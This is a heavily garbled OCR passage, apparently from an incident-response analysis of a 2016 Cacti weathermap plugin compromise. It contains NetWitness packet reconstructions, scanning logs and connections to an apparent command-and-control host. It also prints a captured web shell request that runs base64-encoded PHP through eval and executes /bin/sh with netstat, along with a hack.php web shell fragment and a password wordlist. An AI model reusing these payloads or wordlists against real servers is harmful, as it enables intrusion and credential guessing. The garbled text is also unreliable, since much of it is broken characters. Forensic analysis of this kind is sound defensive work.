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Time Service Size Events

2016-May-19 23:37:01 IP / TCP / OTHER 1348 # 163.28. ->121.126.31.78 @ 37093 ->|2066
2016-May-19 23:37:02 IP / TCP / OTHER 134B * 163.28. -=121.126.31.78 (@ 37094 -=|2066
2016-May-19 23:37:02 IP / TCP / OTHER 1348 * 163.28. ->121.126.31.78 @ 37095 ->|2066
2016-May-19 23:37:02 IP / TCP /| OTHER 134B % 163.28. ->121.126.31.78 i@ 37096 ->|2066

4. poehy ERBRTIFnHE N F FF R 6 AP F oo 114, 55. 36, 222

NetWitness Reconstruction for session ID: 2445951 ( Source 163.28. = 11 136154, Target 121.126.31.78 : 2066 )

Time 5/19/20 7:03 Packet Size 1,228 bytes  Payload Size 345 bytes
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Time Service Size  Events Displa
201 6-May- 21:26:42 IP/ TCP / OTHER 790 B w 163.28. -=|114.55.36.222 @d 33631 —=|80 (http)
2016-May- (8 21:26:42 IP/ TCP / OTHER 870 B % 163.28. ->|114.55.36.222 | P 29319 ->|80 (http)
201 6-May- 21:26:42 IP/ TCP / OTHER 742 B w 163.28. -=|114.55.36.222 @) 13889 —=|80 (http)
2016-May- &8 21:26:42 IP/ TCP / OTHER 713B  w 163.28. ->|114.55.36.222 | & 42490 ->|80 (http)
201 6-May- 21:26:42 IP/ TCP / OTHER 683 B w 163.28. -=|114.55.36.222 @ 61330 —=>|80 (http)
Sonrce Destination Protocol Length Info
163.28. 114.55.36.222 | TCP 713 19474 » 8@ [[SYN]| Seq=@ Win=61613 Len=659
Sonrce Diestination Protocol Length Info
163.28. 23.234.5.22 TCP 696 57295 » 80 |[SYN]| Seq=0 Win=63474 Len=642
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7. %44 find 45 91 2066 & 5 #2585 B > /ete/2066 0 95 1.2MB =+
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9. B EILA; 2066 chiz % f- PID & » E# kill PID 12 2 #*2 4% % 2066
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159.122.222.194 - - [22/Mar/2016:04:30:08 +0800] "GET //phpMyAdmin/scripts/setup.php HTTE/1.1" 404 304 "-" "-"
159.122.222.194 - - [22/Mar/2016:04:30:08 +0800] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 304 "-" "-"
159.122.222.194 - - [22/Mar/2016:04:30:09 +0800] "GET //pma/scripts/setup.php HTTP/1.1" 404 297 "-" "-"

13,4 & Rig4te e &> FRI|G ¢ B[P 222.67.15. 138 = # 5 P~if
/cacti/plugins/weathermap/configs/test. php @ ® #t& N % i%iE base

64 f285 1 » /& » 47 PR E bash 4y 4 netstat ¥ v @& C&C -

NetWitness Reconstruction for session ID: 808466 ( Source 222.67.15.138 - 32628, Target 163.28. :80)

Time 5/16/2016 19:36:45 to 5/16/2016 19:36:46 Payload Size 1,681 bytes
Drotor-al - LE o0 ) o o Ai- o

oo/ ! )

POST /plugins/weathermap/configs/test.php HITP/1.1
X-Forwarded-For: 124.251.59.144
Referer: http://163.28
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 163.28
Content-Length: 680
Connection: Close
Cache-Control: no-cache

0=%40eval%01%28base64_decode%28%24_POSTH%5Bz0%5D%29%29%3B&z0=0Gl uaV9zZXQoInRpc3BsY
X1fZXTyb3Tz1iwiMCIpO0BzZXR fdGl tZVOsaWl pdCgwKT t Ac2VOX2 1hZ21 jX3F1b3R 1c 19ydW50aW1 1KD
ApD2ViaG8ol10%2BiCIp0zskeDI1 YANINIREZGV b2RIKCRIUEOTVEs 12 E1 XSk 7THMO YmFzZTYQX2R1Y
29kZSgkX1BPUIRbInoyI 10pOyRXPWRpemShbWUoI FOTRVIWRVI b I INDUk1QVFOGSUxFTXFNRSTdKTskYz
12dWJ zdHToJGQsMCwxKT09Ti81PyItYyBeInske31eli16Ti9i IFwieyRzfVwiljskej0ieyRwiSBTIGN
917 tAc31zdGVtKCRyL1 IgMy 4mMSIsTHT1dCk7eHI pbnQgKCRyZXOhPTAPPYIKemVOPXskemV0iQo 10111
0zt 1Y2hvKCT8PCO1KT tkaWUoKT s%3D&kz1=L2Tpb19zaAR3D%3D&z2=Y20gI192YXIvd3d3L2h0bWwvY2F
1dGkveGx1Z2 lucy93ZWF0aGVybWEWL 2Ny bmZpZ 3Mv 1§ tuZXRzdGFOIC1hbiBS IGdyZXAgRVNUQUINSVNI
RUQ7ZWNobyBbU107cHdk02V] aGlgWOVd
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@ini_set("display_errors”,"8");@set_time_limit(@);@set_magic_quotes_runtime(8);echo("-6}}A=MQ1Et}}A=MQIItE  IMIYIIM
I%AQ}%195t 2 ONATppfppiEsoleoyEce) ee (T T H</bin/sh
<ed "/var/www/html/cacti/plugins/weathermap/configs/" jiétstat] -an | grep ESTABLISHED;echo [S];pwd;echo [E]




ction for session ID: 808466 ( Source 222.67.15.138 : 32628, Target 163.28

15/16/2016 19:36:46 Packet Size 2,323 bytes Payload Size 1,681 bytes

HITP/1.1 200 OK
Date: Mon, 16 May 2016 11:36:45 GMT
Server: Apache/2.2.15 (Cent(S)
X-Powered-By: PHP/5.3.3
Content-Length: 508
Connection: close
Content-Type: text/html

# Automatically generated by php-weathermap v0.97a
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TITLE c4cad4238a0b923820dcc509a6175849b->1tep 0 0 163.28. 122 g
140 (1134 ESTABLISHED 0
tep 0 0 163.28. 56727 | 121A126.31.T8L2066 ESTAB N
LISHED S
tep 0 0 163.28. 22 140. 121155 ESTAB E
LISHED
tep 0 0 ::ffff:163.28 = 80 offff:222.67.15.138132628 ESTAB
LISHED
[3]
/var/www/html /cacti/plugins/weathermap/configs
[E]
| <-

15. 7 b jg3te 847 FRINT R NPT RS G ORM AL T i
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NetWitness Reconstruction for session ID: 1612 ( Source 203.104.145.39 : 55883, Target 163.28

Time 5/16/2016 11:35:25 t0 5/16/2016 11:35:25 Packet Size 1,888 bytes Payload Size 1,306 bytes
o o c/on Coon A oioblod AR ot L Ar DocLo: 0

GET /plugins/weathermap/configs/hack.php?s=1 HTTP/1.1 A
Content-Length: 0
x-obs-proxy-ip: 163.28
User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.
php)
Accept: */%
Accept-Language: en-US,en;q=0.8,%;g=0.6
Accept-Charset: utf-8
Host: 163.28
from: obs-jp
Connection: keep-alive
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<?php

Spassword
error_reporting (E_ERROR) ;
set_time limit(0);

S$lanip = getenv ('REMOTE ADDR');
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PHP = i% -
HER FroasbAg......
HEED |/var/www/htm|/cacti/p|ugl'ns/weathermap/(| |———4§ﬁﬁ§——— V|
p— o ~ ) —
HEZ %A= BE |Et | SHEE K
sk | o B g 0100257 1
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op : :
FTPiZER: [Cmonitor.php ﬁﬁg 0644 32.1?%%3523 126 B
np e N
RHEIEE e E 2015-03-30  24.27
[Ccompress.php o 0644 18:35:04 K
CMDzz < [“simple.conf ﬁﬁi 0755 53,123[;9;09 1.28 K
op : :
e [hack.php.swp ﬁﬁg 0644 fgi(?éojél? 16 K
[:1:] : :
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PHP f23#

Mvsal UDFER!
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var, www, html, cact1000000, 0000000, 00000000, 111111, 1111111, 11111111, 222222, 2222222, 22222222, 333333, 3333:
666, 6666666, 66666666, 777777, TTTTTT7, TTT7T777, 388388, 8838838, 88388888, 999999, 9999999, 99999999, root, 123¢
201314, iloveyou, fuckyou, kissme, 520520, 5845201314, a123456, 64123456789

‘EH‘J'I. [localhost | |
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